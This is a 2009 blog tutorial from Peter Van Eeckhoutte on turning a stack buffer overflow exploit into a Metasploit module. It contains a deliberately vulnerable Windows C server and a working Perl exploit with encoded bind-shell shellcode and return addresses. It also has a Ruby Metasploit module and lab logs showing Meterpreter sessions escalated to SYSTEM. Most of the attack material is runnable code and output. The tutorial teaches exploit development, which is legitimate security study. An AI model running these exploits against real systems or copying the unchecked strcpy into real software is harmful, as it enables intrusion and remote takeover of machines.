# Peter Van Eeckhoutte's Blog

:: [Knowledge is not an object, it´s a flow] ::

## Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics

Peter Van Eeckhoutte · Wednesday, August 12th, 2009

In the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build a working exploit.

Obviously, writing exploits is not limited to perl only. I guess every programming language could be used to write exploits… so you can just pick the one that you are most familiar with. (python, c, c++, C#, etc)

Despite the fact that these custom written exploits will work just fine, it may be nice to be able to include your own exploits in the metasploit framework in order to take advantage of some of the unique metasploit features.

So today, I’m going to explain how exploits can be written as a metasploit module.

Metasploit modules are writting in ruby. Even if you don’t know a lot about ruby, you should still be able to write a metasploit exploit module based on this tutorial and the existing exploits available in metasploit.

### Metasploit exploit module structure

A typical metasploit exploit module consists of the following components :

- header and some dependencies
  - Some comments about the exploit module
  - require ‘msf/core’
- class definition
- includes
- “def” definitions :
  - initialize
  - check (optional)
  - exploit

You can put comments in your metasploit module by using the # character. That’s all we need to know for now, let’s look at the steps to build a metasploit exploit module.

### Case study : building an exploit for a simple vulnerable server

We’ll use the following vulnerable server code (C) to demonstrate the building process :

```
#include <iostream.h>
#include <winsock.h>
#include <windows.h>

//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
   char buf[500]="";
   strcpy(buf,str);
}
void sError(char *str)
{
   MessageBox (NULL, str, "socket Error" ,MB_OK);
   WSACleanup();
}

int main(int argc, char **argv)
{

WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]="";
char buf[2000]="";
```

```
u_short LocalPort;
LocalPort = 200;

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
   sError("Failed socket()");
   return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
   sError("Failed bind()");
   WSACleanup();
   return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
   sError("Failed listen()");
   WSACleanup();
   return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
   sError("Failed accept()");
   WSACleanup();
   return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
   //receive the data that is being sent by the client max limit to 5000 bytes.
   bytesRecv = recv( clientSocket, Message, 5000, 0 );

   if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
   {
      printf( "\nConnection Closed.\n");
      break;
   }
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}
```

Compile the code and run it on a Windows 2003 server R2 with SP2. (I have used lcc-win32 to compile the code)

When you send 1000 bytes to the server, the server will crash.

The following perl script demonstrates the crash :

```
use strict;
use Socket;
my $junk = "\x41" x1000;
```

```
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";
```

The vulnerable server dies, and EIP gets overwritten with A's

```
0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
41414141 ??              ???
```

Using a metasploit pattern, we determine that the offset to EIP overwrite is at 504 bytes. So we'll build a new crash script to verify the offset and see the contents of the registers when the overflow occurs :

```
use strict;
use Socket;

my $totalbuffer=1000;
my $junk = "\x41" x 504;
my $eipoverwrite = "\x42" x 4;
my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$junk2."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";
```

After sending 504 A's, 4 B's and a bunch of C's, we can see the following register and stack contents :

```
0:001> g
(ed0.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=42424242 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
42424242 ??              ???
0:000> d esp
0012e258  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e268  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e278  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e288  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e298  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e2a8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e2b8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
```

```
0012e2c8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
```

Increase the junk size to see how much space you have available for your shellcode. This is important because you will need to specify this parameter in the metasploit module.

Change the $totalbuffer value to 2000, overflow still works as expected, and the contents of esp indicate that we have been able to fill memory with C’s up to esp+5d3 (1491 bytes). That will be our shellcode space (more or less)

All we need is to overwrite EIP with jmp esp (or call esp, or something similar), and put our shellcode instead of the C’s and we should be fine.

Using findjmp, we have found a working address for our Windows 2003 R2 SP2 server :

```
findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67      push esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addresses
```

After doing some tests with shellcode, we can use the following conclusions to build the final exploits

- exclude 0xff from the shellcode
- put some nop’s before the shellcode

Our final exploit ( in perl, with a shell bound to tcp 5555 ) looks like this :

```
#
print " --------------------------------------\n";
print "     Writing Buffer Overflows\n";
print "       Peter Van Eeckhoutte\n";
print "     http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print "    Exploit for vulnserver.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 504;

#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71C02B67);

#add some NOP's
my $shellcode="\x90" x 50;

# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
```

```
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";

print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");

close SOCKET or die "close: $!";
```

Exploit output :

```
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
 --------------------------------------
     Writing Buffer Overflows
       Peter Van Eeckhoutte
     http://www.corelan.be:8800
 --------------------------------------
    Exploit for vulnserver.c
 --------------------------------------
[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\vulnserver\lcc>whoami
whoami
win2003-01\administrator
```

The most important parameters that can be taken from this exploit are

- offset to ret (eip overwrite) is 504
- windows 2003 R2 SP2 (English) jump address is 0×71C02B67
- shellcode should not contain 0×00 or 0xff
- shellcode can be more or less 1400 bytes

Futhermore, after running the same tests against a Windows XP SP3 (English), we determine that the offset is the same, but the jmp address must be changed (to for example 0×7C874413). We’ll build a metasploit module that will allow you to select one of these 2 targets, and will use the correct jmp address.

## Converting the exploit to metasploit

First, you need to determine what type your exploit will be, because that will determine the place within the metasploit folder structure where the exploit will be saved. If your exploit is targetting a windows based ftp server, it would need to be placed under the windows ftp server exploits.

*Metasploit modules are saved in the framework3xx folder structure, under /modules/exploits. In that folder, the exploits are broken down into operating systems first, and then services.*

Our server runs on windows, so we’ll put it under windows. The windows fodler contains a number of folders already (from antivirus to wins), include a “misc” folder. We’ll put our exploit under “misc” (or we could put it under telnet) because it does not really belong to any of the other types.

We’ll create our metasploit module under %metasploit%/modules/windows/misc :

```
root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb
```

```
#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Custom vulnerable server stack overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in a
                                        custom vulnerable server.
                                             },
                        'Author'         => [ 'Peter Van Eeckhoutte' ],
                        'Version'        => '$Revision: 9999 $',
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1400,
                                        'BadChars' => "\x00\xff",
                                },
                        'Platform'       => 'win',

                        'Targets'        =>
                                [
                                        ['Windows XP SP3 En',
                                          { 'Ret' => 0x7c874413, 'Offset' => 504 } ],
                                        ['Windows 2003 Server R2 SP2',
                                          { 'Ret' => 0x71c02b67, 'Offset' => 504  } ],
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                                Opt::RPORT(200)
                        ], self.class)
       end

       def exploit
          connect

          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
          sock.put(sploit)

          handler
          disconnect

       end

end
```

We see the following components :

- first, put "require msf/core", which will be valid for all metasploit exploits
- define the class. In our case, it is a remote exploit.
- Next, set exploit information and exploit definitions :
  - include : in our case, it is a plain tcp connection, so we use Msf::Exploit::Remote::Tcp
    - Metasploit has handlers for http, ftp, etc… (which will help you building exploits faster because you don't have to write the entire conversation yourself)
  - Information :
    - Payload : define the length and badchars (0×00 and 0xff in our case)
    - Define the targets, and define target-specific settings such as return address, offset, etc
  - Exploit
    - connect  (which will set up the connection to the remote port)
    - build the buffer
      - junk (nops, with size of offset)
      - add the return address, more nops, and then the encoded payload
    - write the buffer to the connection
    - handle the exploit
    - disconnect

That's it

Now open msfconsole. If there is an error in your script, you will see information about the error while msfconsole loads.  If msfconsole was already loaded, you'll have to close it again before you can use this new module (or before you can use updated module if you have made a change)

## Test the exploit

**Test 1 : Windows XP SP3**

```
root@backtrack4:/pentest/exploits/framework3# ./msfconsole

                |                    |      _) |
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                              _|


       =[ msf v3.3-dev
+ -- --=[ 395 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 187 aux

msf > use windows/misc/custom_vulnserver
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  200              yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En

msf exploit(custom_vulnserver) > set rhost 192.168.24.10
rhost => 192.168.24.10
msf exploit(custom_vulnserver) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP SP3 En
   1   Windows 2003 Server R2 SP2

msf exploit(custom_vulnserver) > set target 0
target => 0
msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.24.10   yes       The target address
   RPORT  200              yes       The target port

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.24.10   no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444)

meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS      : Windows XP (Build 2600, Service Pack 3).
```

**Test 2 : Windows 2003 Server R2 SP2**

(continued from exploit to XP) :

```
meterpreter >
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(custom_vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
target => 1
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.24.3     yes       The target address
   RPORT  200              yes       The target port

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.24.3     no        The target address

Exploit target:

   Id  Name
   --  ----
   1   Windows 2003 Server R2 SP2

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444)

meterpreter > sysinfo
Computer: WIN2003-01
OS      : Windows .NET Server (Build 3790, Service Pack 2).

meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > ps

Process list
============

    PID   Name              Path
    ---   ----              ----
    300   smss.exe          \SystemRoot\System32\smss.exe
    372   winlogon.exe      \??\C:\WINDOWS\system32\winlogon.exe
    396   Explorer.EXE      C:\WINDOWS\Explorer.EXE
    420   services.exe      C:\WINDOWS\system32\services.exe
    424   ctfmon.exe        C:\WINDOWS\system32\ctfmon.exe
    432   lsass.exe         C:\WINDOWS\system32\lsass.exe
    652   svchost.exe       C:\WINDOWS\system32\svchost.exe
    832   svchost.exe       C:\WINDOWS\System32\svchost.exe
    996   spoolsv.exe       C:\WINDOWS\system32\spoolsv.exe
    1132  svchost.exe       C:\WINDOWS\System32\svchost.exe
    1392  dllhost.exe       C:\WINDOWS\system32\dllhost.exe
    1580  svchost.exe       C:\WINDOWS\System32\svchost.exe
    1600  svchost.exe       C:\WINDOWS\System32\svchost.exe
    2352  cmd.exe           C:\WINDOWS\system32\cmd.exe
    2888  vulnserver.exe    C:\vulnserver\lcc\vulnserver.exe

meterpreter > migrate 996
[*] Migrating to 996...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

```
pwned !
```

## More info about the Metasploit API

You can find more information about the Metasploit API (and available classes) at http://www.metasploit.com/documents/api/msfcore/index.html

Now go out and build your own exploits, put some l33t talk in the exploit and don't forget to send your greetings to corelanc0d3r :-)

This entry was posted
on Wednesday, August 12th, 2009 at 10:51 pm and is filed under 001 – Security, Exploit Writing Tutorials, Exploits
You can follow any responses to this entry through the Comments (RSS) feed. You can leave a response, or trackback from your own site.